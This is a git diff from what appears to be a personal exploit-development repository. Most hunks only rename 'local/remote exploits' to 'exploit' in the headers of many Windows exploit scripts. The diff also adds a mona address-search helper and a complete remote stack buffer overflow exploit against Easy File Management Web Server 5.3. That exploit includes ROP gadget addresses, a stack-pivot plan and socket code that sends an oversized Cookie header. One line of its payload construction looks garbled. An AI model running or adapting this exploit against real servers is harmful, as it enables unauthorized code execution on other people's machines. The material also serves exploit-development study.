diff --git a/helpers/addr_reference_finder.py b/helpers/addr_reference_finder.py new file mode 100644 index 0000000..53611cc --- /dev/null +++ b/helpers/addr_reference_finder.py @@ -0,0 +1,18 @@ +import struct, re + +f = open("stackpivot.txt", "r") +content = f.read() +f.close() + +matches = re.findall(r"0x[0-9a-f]{8} :", content) +m=0 +f = open("addr_2_search.txt", "w") +for match in matches: + m+=1 + m_clean = match.replace(":","").replace("0x","").rstrip() + m_final=[] + for index in range(0, len(m_clean), 2): + m_final.append("\\x"+m_clean[index : index + 2]) + m_final.reverse() + f.write("!mona find -s '"+"".join(m_final)+"' -cm aslr=false,rebase=false -cpb '\\x00\\x3b'\n") +print("Total addr: {}".format(m)) \ No newline at end of file diff --git a/windows/x86/local/Aviosoft_DTV_Player-1.0.0.1/aviosoft_DTV_Player-1.0.0.1.py b/windows/x86/local/Aviosoft_DTV_Player-1.0.0.1/aviosoft_DTV_Player-1.0.0.1.py index 4ac51b3..2649502 100644 --- a/windows/x86/local/Aviosoft_DTV_Player-1.0.0.1/aviosoft_DTV_Player-1.0.0.1.py +++ b/windows/x86/local/Aviosoft_DTV_Player-1.0.0.1/aviosoft_DTV_Player-1.0.0.1.py @@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Vendor Homepage: http://www.aviosoft.com/ Version: Aviosoft DTV Player 1.0.0.1 Professional Tested on: Windows XP SP3 -Category: local exploits +Category: local exploit Platform: windows """ #!/usr/bin/python diff --git a/windows/x86/local/Bandwidth_Monitor_v.3.9/Bandwidth_Monitor_v.3.9.py b/windows/x86/local/Bandwidth_Monitor_v.3.9/Bandwidth_Monitor_v.3.9.py index 786d798..a2fa7b6 100644 --- a/windows/x86/local/Bandwidth_Monitor_v.3.9/Bandwidth_Monitor_v.3.9.py +++ b/windows/x86/local/Bandwidth_Monitor_v.3.9/Bandwidth_Monitor_v.3.9.py @@ -6,7 +6,7 @@ Vendor Homepage: https://www.10-strike.com/bandwidth-monitor/ Download: https://www.10-strike.com/bandwidth-monitor/bandwidth-monitor.exe Version: v.3.9 Tested on: Windows 10 Pro x64 v.1909 Build 18363.418 -Category: local exploits +Category: local exploit Platform: windows Usage: BandMonitor > Help > Enter Reg Key > Paste content of Bandwidth_Monitor_v.3.9_exploit.txt """ diff --git a/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer_v.3.10.12.0_Win10.py b/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer_v.3.10.12.0_Win10.py index 1086104..5d6a430 100644 --- a/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer_v.3.10.12.0_Win10.py +++ b/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer_v.3.10.12.0_Win10.py @@ -5,7 +5,7 @@ Exploit Author: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voi Vendor Homepage: http://www.sricam.com/ Version: v.3.10.12.0 Tested on: Windows 10 Pro x64 v.1909 Build 18363.720 -Category: local exploits +Category: local exploit Platform: windows Usage: DeviceViewer > Login Screen > in the "Username" textarea paste the content of "DeviceViewer_v.3.10.12.0_exploit.txt" and press "Login" diff --git a/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer_v.3.10.12.0_Win7.py b/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer_v.3.10.12.0_Win7.py index 423bb45..6459dd1 100644 --- a/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer_v.3.10.12.0_Win7.py +++ b/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer_v.3.10.12.0_Win7.py @@ -5,7 +5,7 @@ Exploit Author: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voi Vendor Homepage: http://www.sricam.com/ Version: v.3.10.12.0 Tested on: Windows 7 Pro x86 v.6.1.7601 SP 1 Build 7601 -Category: local exploits +Category: local exploit Platform: windows Usage: DeviceViewer > Login Screen > in the "Username" textarea paste the content of "DeviceViewer_v.3.10.12.0_exploit.txt" and press "Login" diff --git a/windows/x86/local/Easy_CD_DVD_Copy_v.1.3.24/Easy_CD_DVD_Copy_v.1.3.24.py b/windows/x86/local/Easy_CD_DVD_Copy_v.1.3.24/Easy_CD_DVD_Copy_v.1.3.24.py index 8ca041a..ae389aa 100644 --- a/windows/x86/local/Easy_CD_DVD_Copy_v.1.3.24/Easy_CD_DVD_Copy_v.1.3.24.py +++ b/windows/x86/local/Easy_CD_DVD_Copy_v.1.3.24/Easy_CD_DVD_Copy_v.1.3.24.py @@ -6,7 +6,7 @@ Vendor Homepage: http://www.divxtodvd.net/index.htm Download: https://www.exploit-db.com/apps/ea6dad29d025e66110243bd197c1870c-easy_cd_dvd_copy.exe Version: v.1.3.24 Tested on: Windows 10 Pro x64 v.1909 Build 18363.418 -Category: local exploits +Category: local exploit Platform: windows Usage: Paste content of Easy_CD_DVD _Copy_v. 1.3.24_exploit.txt in the "Username" field in the Register dialog """ diff --git a/windows/x86/local/Easy_File_Management_Web_Server_v.5.3/Easy_File_Management_Web_Server_v.5.3.py b/windows/x86/local/Easy_File_Management_Web_Server_v.5.3/Easy_File_Management_Web_Server_v.5.3.py new file mode 100644 index 0000000..69717f4 --- /dev/null +++ b/windows/x86/local/Easy_File_Management_Web_Server_v.5.3/Easy_File_Management_Web_Server_v.5.3.py @@ -0,0 +1,79 @@ +""" +Full title: Easy File Management Web Server v.5.3 - Cookie Stack Buffer Overflow (PoC) +Exploit Author: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com +Vendor Homepage: http://www.efssoft.com +Download: https://www.exploit-db.com/apps/a46371c665d7c85689b47534904bc3f1-efmsetup.exe +Version: v.5.3 +Tested on: Windows 10 Pro x64 v.1909 Build 18363.418 +Category: remote exploit +Platform: windows +NOTE: https://www.rcesecurity.com/2014/05/easy-file-management-web-server-v5-3-exploit-kung-fu/ +""" +#!/usr/bin/python +import struct, socket, sys, os + +host="127.0.0.1" +port=80 + +buf_max_sixe = 3800 +edx_offset = 80 +# BAD CHARS: \x00\x3b + +""" +EDI (0x054e98b8) points at offset 80 in normal pattern (length 3720) +EDX contains normal pattern : 0x37634136 (offset 80) +ESI (0x054e98a8) points at offset 64 in normal pattern (length 3736) +ECX (0x054e98b8) points at offset 80 in normal pattern (length 3720) + +PUSH EBX +PUSH EBX +MOV ECX,EDI +CALL DWORD PTR DS:[EDX+28] <--- CRASH (Load what is pointed at EDX+28 then call it) +we need to find a pointer to the string of the stack pivot address value (in non DEP enviroment we can be "near" it and execute all the instruction in between) + + +0x1001a6ff : {pivot 264 / 0x108} : # POP EBP # POP EBX # ADD ESP,100 # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} +!mona find -s '\xff\xa6\x01\x10' -cm aslr=false,rebase=false -cpb '\x00\x3b' + +0x033c1a2a : '\xff\xa6\x01\x10' | ascii {PAGE_READONLY} + +""" + +def create_rop_nop(): + rop_gadgets = [ + 0x1001c025, # 0x1001c025 : # POP EBX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} + ] + return ''.join(struct.pack('= 140; 0x1001a6ff : {pivot 264 / 0x108} : # POP EBP # POP EBX # ADD ESP,100 # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ} +# 0x1001a6ff can be found at 0x033c1a2a; 0x033c1a2a - 28 = 0x33C1A02; it will also compensate the POP EBX in the ROP NOP + +buf += "B" * (buf_max_sixe-len(buf)) + +req="GET /vfolder.ghp HTTP/1.1\r\n" +req+="User-Agent: Mozilla/4.0\r\n" +req+="Host:" + host + ":" + str(port) + "\r\n" +req+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" +req+="Accept-Language: en-us\r\n" +req+="Accept-Encoding: gzip, deflate\r\n" +req+="Referer: http://" + host + "/\r\n" +req+="Cookie: SESSIONID=1337; UserID=" + buf + "; PassWD=;\r\n" +req+="Conection: Keep-Alive\r\n\r\n" + +print "[*] Connecting to Host " + host + "..." + +s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) +try: + connect=s.connect((host, port)) + print "[*] Connected to " + host + "!" +except: + print "[!] " + host + " didn't respond\n" + sys.exit(0) + +print "[*] Sending malformed request..." +s.send(req) + +print "[!] Exploit has been sent!\n" +s.close() \ No newline at end of file diff --git a/windows/x86/local/Easy_File_Management_Web_Server_v.5.3/efmsetup.exe b/windows/x86/local/Easy_File_Management_Web_Server_v.5.3/efmsetup.exe new file mode 100644 index 0000000..c4887f7 Binary files /dev/null and b/windows/x86/local/Easy_File_Management_Web_Server_v.5.3/efmsetup.exe differ diff --git a/windows/x86/local/Easy_RM_to_MP3_Converter_v.2.7.3.700/Easy_RM_to_MP3_Converter_v.2.7.3.700.py b/windows/x86/local/Easy_RM_to_MP3_Converter_v.2.7.3.700/Easy_RM_to_MP3_Converter_v.2.7.3.700.py index 5bb0346..553f4bf 100644 --- a/windows/x86/local/Easy_RM_to_MP3_Converter_v.2.7.3.700/Easy_RM_to_MP3_Converter_v.2.7.3.700.py +++ b/windows/x86/local/Easy_RM_to_MP3_Converter_v.2.7.3.700/Easy_RM_to_MP3_Converter_v.2.7.3.700.py @@ -5,7 +5,7 @@ Vendor Homepage: http://www.rm-to-mp3.net Download: https://www.exploit-db.com/apps/707414955696c57b71c7f160c720bed5-EasyRMtoMP3Converter.exe Version: v.2.7.3.700 Tested on: Windows 10 Pro x64 v.1909 Build 18363.418 -Category: local exploits +Category: local exploit Platform: windows """ #!/usr/bin/python diff --git a/windows/x86/local/LanSpy_v.2.0.1.159/LanSpy_v.2.0.1.159.py b/windows/x86/local/LanSpy_v.2.0.1.159/LanSpy_v.2.0.1.159.py index 26e4dc7..f6d91f5 100644 --- a/windows/x86/local/LanSpy_v.2.0.1.159/LanSpy_v.2.0.1.159.py +++ b/windows/x86/local/LanSpy_v.2.0.1.159/LanSpy_v.2.0.1.159.py @@ -5,7 +5,7 @@ Vendor Homepage: https://lizardsystems.com/ Download: https://www.exploit-db.com/apps/70a780b78ee7dbbbbc99852259f75d53-lanspy_setup_2.0.1.159.exe Version: v.2.0.1.159 Tested on: Windows 10 Pro x64 v.1909 Build 18363.418 -Category: local exploits +Category: local exploit Platform: windows Usage: Open the APP > click on the scan field > paste the contents from the generated "LanSpy_v.2.0.1.159_exploit.txt" file """ diff --git a/windows/x86/local/Reaper_v.5.78/Reaper_v.5.78.py b/windows/x86/local/Reaper_v.5.78/Reaper_v.5.78.py index c3c160e..476e952 100644 --- a/windows/x86/local/Reaper_v.5.78/Reaper_v.5.78.py +++ b/windows/x86/local/Reaper_v.5.78/Reaper_v.5.78.py @@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Vendor Homepage: https://www.reaper.fm/ Version: Reaper v.5.78 Tested on: Windows 10 Pro x64 v.1909 Build 18363.720 -Category: local exploits +Category: local exploit Platform: windows Usage: Reaper > Options > Preferences > ReaScript > in the "Force ReaScript to use specific python dll" textarea paste the content of "Reaper_5.78_exploit.txt" """ diff --git a/windows/x86/local/Triologic_Media_Player_v.8/Triologic_Media_Player_v.8.py b/windows/x86/local/Triologic_Media_Player_v.8/Triologic_Media_Player_v.8.py index 3fb4c63..58c17f2 100644 --- a/windows/x86/local/Triologic_Media_Player_v.8/Triologic_Media_Player_v.8.py +++ b/windows/x86/local/Triologic_Media_Player_v.8/Triologic_Media_Player_v.8.py @@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voi Vendor Homepage: http://www.triologic.net/ Version: v.8.0.0.0 Tested on: Windows 10 Pro x64 v.1909 Build 18363.418 -Category: local exploits +Category: local exploit Platform: windows """ #!/usr/bin/python diff --git a/windows/x86/local/VLC_v.0.9.4/VLC_v.0.9.4-PoC.py b/windows/x86/local/VLC_v.0.9.4/VLC_v.0.9.4-PoC.py index a050c26..4f10828 100644 --- a/windows/x86/local/VLC_v.0.9.4/VLC_v.0.9.4-PoC.py +++ b/windows/x86/local/VLC_v.0.9.4/VLC_v.0.9.4-PoC.py @@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com (Based Vendor Homepage: https://www.videolan.org Version: VideoLAN VLC Media Player 0.9.4 Tested on: Windows 7 -Category: local exploits +Category: local exploit Platform: windows Usage: redirect the output of this script into an MPG file, load it into VLC 0.9.4, the EIP will be overwritten with \x41\x41\x41\x41 """ diff --git a/windows/x86/local/VLC_v.0.9.4/VLC_v.0.9.4-exploit.py b/windows/x86/local/VLC_v.0.9.4/VLC_v.0.9.4-exploit.py index 23ee9a7..292ccdf 100644 --- a/windows/x86/local/VLC_v.0.9.4/VLC_v.0.9.4-exploit.py +++ b/windows/x86/local/VLC_v.0.9.4/VLC_v.0.9.4-exploit.py @@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com (Based Vendor Homepage: https://www.videolan.org Version: VideoLAN VLC Media Player 0.9.4 Tested on: Windows XP SP3 -Category: local exploits +Category: local exploit Platform: windows """ diff --git a/windows/x86/local/blaze_DVD_6.1.1.6/blaze_DVD_6.1.1.6.py b/windows/x86/local/blaze_DVD_6.1.1.6/blaze_DVD_6.1.1.6.py index a5b9685..5ab50d4 100644 --- a/windows/x86/local/blaze_DVD_6.1.1.6/blaze_DVD_6.1.1.6.py +++ b/windows/x86/local/blaze_DVD_6.1.1.6/blaze_DVD_6.1.1.6.py @@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Vendor Homepage: https://www.softwarezirkel.de/ Version: BlazeDVD 6.1.1.6 Professional Tested on: Windows XP SP3 -Category: local exploits +Category: local exploit Platform: windows """ #!/usr/bin/python diff --git a/windows/x86/local/microp_0.1.1.1600/microp_0.1.1.1600.py b/windows/x86/local/microp_0.1.1.1600/microp_0.1.1.1600.py index c271d8a..cb387a2 100644 --- a/windows/x86/local/microp_0.1.1.1600/microp_0.1.1.1600.py +++ b/windows/x86/local/microp_0.1.1.1600/microp_0.1.1.1600.py @@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Vendor Homepage: http://sourceforge.net/projects/microp/ Version: MicroP 0.1.1.1600 Tested on: Windows XP SP3 -Category: local exploits +Category: local exploit Platform: windows """ diff --git a/windows/x86/remote/32bit_FTP_v.07.08.08/32bit_FTP_v.07.08.08.py b/windows/x86/remote/32bit_FTP_v.07.08.08/32bit_FTP_v.07.08.08.py index 60980f8..d1a19e6 100644 --- a/windows/x86/remote/32bit_FTP_v.07.08.08/32bit_FTP_v.07.08.08.py +++ b/windows/x86/remote/32bit_FTP_v.07.08.08/32bit_FTP_v.07.08.08.py @@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Vendor Homepage: https://www.electrasoft.com/ Version: 32bit FTP v.07.08.08 Tested on: Windows XP SP3 -Category: remote exploits +Category: remote exploit Platform: windows Usage: start this script (it will set-up a listening server), launch 32bit FTP and connect it to the server """ diff --git a/windows/x86/remote/AntServer_v.2.5.0.3/AntServer_v.2.5.0.3.py b/windows/x86/remote/AntServer_v.2.5.0.3/AntServer_v.2.5.0.3.py index 57ced0d..f7aec07 100644 --- a/windows/x86/remote/AntServer_v.2.5.0.3/AntServer_v.2.5.0.3.py +++ b/windows/x86/remote/AntServer_v.2.5.0.3/AntServer_v.2.5.0.3.py @@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Vendor Homepage: http://www.bigantsoft.com/ Version: BigAnt Console v.2.52 Service Pack 5 Tested on: Windows 10 x64 Pro v.10.0.18363 Build 18363 -Category: remote exploits +Category: remote exploit Platform: windows Usage: Set the target IP, this script will take care of everything else. """ diff --git a/windows/x86/remote/CloudMe_Sync_v.1.9.2/CloudMe_Sync_v.1.9.2.py b/windows/x86/remote/CloudMe_Sync_v.1.9.2/CloudMe_Sync_v.1.9.2.py index 13b6c10..08c8854 100644 --- a/windows/x86/remote/CloudMe_Sync_v.1.9.2/CloudMe_Sync_v.1.9.2.py +++ b/windows/x86/remote/CloudMe_Sync_v.1.9.2/CloudMe_Sync_v.1.9.2.py @@ -7,7 +7,7 @@ Download: https://org.cloudme.com/en/sync Affected Version: < 1.11.0 CVE: CVE-2018-6892 Tested on: Windows 10 Pro x64 v.1909 Build 18363.418 -Category: remote exploits +Category: remote exploit Platform: windows Usage: CloudMe_Sync_v.1.9.2.py TARGET_IP 8888 """ diff --git a/windows/x86/remote/Dup_Scout_Enterprise_v.10.0.18/Dup_Scout_Enterprise_v.10.0.18.py b/windows/x86/remote/Dup_Scout_Enterprise_v.10.0.18/Dup_Scout_Enterprise_v.10.0.18.py index f8693eb..3ffdeb3 100644 --- a/windows/x86/remote/Dup_Scout_Enterprise_v.10.0.18/Dup_Scout_Enterprise_v.10.0.18.py +++ b/windows/x86/remote/Dup_Scout_Enterprise_v.10.0.18/Dup_Scout_Enterprise_v.10.0.18.py @@ -7,7 +7,7 @@ Download: https://www.exploit-db.com/apps/84dcc5fe242ca235b67ad22215fc Affected Version: <= v.10.0.18 CVE: N/A Tested on: Windows 10 Pro x64 v.1909 Build 18363.418 -Category: remote exploits +Category: remote exploit Platform: windows Usage: Dup_Scout_Enterprise_v.10.0.18.py TARGET_IP 80 Comments: Application is vulnerable in both login fields diff --git a/windows/x86/remote/Easy_File_Sharing_Web_Server_v.7.2/Easy_File_Sharing_Web_Server_v.7.2.py b/windows/x86/remote/Easy_File_Sharing_Web_Server_v.7.2/Easy_File_Sharing_Web_Server_v.7.2.py index 9c52194..44f797d 100644 --- a/windows/x86/remote/Easy_File_Sharing_Web_Server_v.7.2/Easy_File_Sharing_Web_Server_v.7.2.py +++ b/windows/x86/remote/Easy_File_Sharing_Web_Server_v.7.2/Easy_File_Sharing_Web_Server_v.7.2.py @@ -7,7 +7,7 @@ Download: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea48 Affected Version: v.7.2 CVE: N/A Tested on: Windows 10 Pro x64 v.1909 Build 18363.418 -Category: remote exploits +Category: remote exploit Platform: windows Usage: Easy_File_Sharing_Web_Server_v.7.2.py TARGET_IP 80 """ diff --git a/windows/x86/remote/echo server/echo-badchar.py b/windows/x86/remote/echo server/echo-badchar.py index a917050..c1dcf5e 100644 --- a/windows/x86/remote/echo server/echo-badchar.py +++ b/windows/x86/remote/echo server/echo-badchar.py @@ -3,7 +3,7 @@ Full title: Echo Server BadChars Remote Stack Buffer Overflow Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Version: Echo Server BadChars Tested on: Windows XP SP3 -Category: remote exploits +Category: remote exploit Platform: windows """ #!/usr/bin/python diff --git a/windows/x86/remote/echo server/echo-jmpesp.py b/windows/x86/remote/echo server/echo-jmpesp.py index 6b119c9..96980d7 100644 --- a/windows/x86/remote/echo server/echo-jmpesp.py +++ b/windows/x86/remote/echo server/echo-jmpesp.py @@ -3,7 +3,7 @@ Full title: Echo Server JMPESP Remote Stack Buffer Overflow Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Version: Echo Server JMPESP Tested on: Windows XP SP3 -Category: remote exploits +Category: remote exploit Platform: windows """ #!/usr/bin/python diff --git a/windows/x86/remote/echo server/echo-str.py b/windows/x86/remote/echo server/echo-str.py index 206269b..f312ac7 100644 --- a/windows/x86/remote/echo server/echo-str.py +++ b/windows/x86/remote/echo server/echo-str.py @@ -3,7 +3,7 @@ Full title: Echo Server str Remote Stack Buffer Overflow Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Version: Echo Server str Tested on: Windows XP SP3 -Category: remote exploits +Category: remote exploit Platform: windows """ #!/usr/bin/python diff --git a/windows/x86/remote/echo server/echo-v2.py b/windows/x86/remote/echo server/echo-v2.py index 6fc79e7..044cc43 100644 --- a/windows/x86/remote/echo server/echo-v2.py +++ b/windows/x86/remote/echo server/echo-v2.py @@ -3,7 +3,7 @@ Full title: Echo Server v2 Remote Stack Buffer Overflow Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Version: Echo Server v2 Tested on: Windows XP SP3 -Category: remote exploits +Category: remote exploit Platform: windows """ #!/usr/bin/python diff --git a/windows/x86/remote/echo server/echo-v3.py b/windows/x86/remote/echo server/echo-v3.py index 8af0d0d..d96b08f 100644 --- a/windows/x86/remote/echo server/echo-v3.py +++ b/windows/x86/remote/echo server/echo-v3.py @@ -3,7 +3,7 @@ Full title: Echo Server v3 Remote Stack Buffer Overflow Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Version: Echo Server v3 Tested on: Windows XP SP3 -Category: remote exploits +Category: remote exploit Platform: windows """ #!/usr/bin/python diff --git a/windows/x86/remote/echo server/echo.py b/windows/x86/remote/echo server/echo.py index 7ede6e4..9aa9c7a 100644 --- a/windows/x86/remote/echo server/echo.py +++ b/windows/x86/remote/echo server/echo.py @@ -3,7 +3,7 @@ Full title: Echo Server Remote Stack Buffer Overflow Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Version: Echo Server Tested on: Windows XP SP3 -Category: remote exploits +Category: remote exploit Platform: windows """ #!/usr/bin/python diff --git a/windows/x86/remote/freeSSHd_1.0.9/freeSSHd_1.0.9.py b/windows/x86/remote/freeSSHd_1.0.9/freeSSHd_1.0.9.py index f10e83b..f564ef7 100644 --- a/windows/x86/remote/freeSSHd_1.0.9/freeSSHd_1.0.9.py +++ b/windows/x86/remote/freeSSHd_1.0.9/freeSSHd_1.0.9.py @@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Vendor Homepage: http://www.freesshd.com/ Version: freeSSHd 1.0.9 Tested on: Windows XP SP3 -Category: remote exploits +Category: remote exploit Platform: windows """ #!/usr/bin/python diff --git a/windows/x86/remote/minishare_1.4.1/minishare_1.4.1.py b/windows/x86/remote/minishare_1.4.1/minishare_1.4.1.py index 339c853..bd64fb0 100644 --- a/windows/x86/remote/minishare_1.4.1/minishare_1.4.1.py +++ b/windows/x86/remote/minishare_1.4.1/minishare_1.4.1.py @@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Vendor Homepage: http://minishare.sf.net Version: MiniShare 1.4.1 Tested on: Windows XP SP3 -Category: remote exploits +Category: remote exploit Platform: windows """ diff --git a/windows/x86/remote/war_FTPD_1.65/war_FTPD_1.65.py b/windows/x86/remote/war_FTPD_1.65/war_FTPD_1.65.py index fe449bb..5c677e5 100644 --- a/windows/x86/remote/war_FTPD_1.65/war_FTPD_1.65.py +++ b/windows/x86/remote/war_FTPD_1.65/war_FTPD_1.65.py @@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Vendor Homepage: http://www.jgaa.com Version: War FTPD 1.65 Tested on: Windows XP SP3 -Category: remote exploits +Category: remote exploit Platform: windows """ #!/usr/bin/python diff --git a/windows/x86/remote/win server/WinServer.py b/windows/x86/remote/win server/WinServer.py index aee99bf..187837c 100644 --- a/windows/x86/remote/win server/WinServer.py +++ b/windows/x86/remote/win server/WinServer.py @@ -2,7 +2,7 @@ Full title: WinServer Remote Buffer Overflow Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Tested on: Windows XP SP3 -Category: remote exploits +Category: remote exploit Platform: windows """ #!/usr/bin/python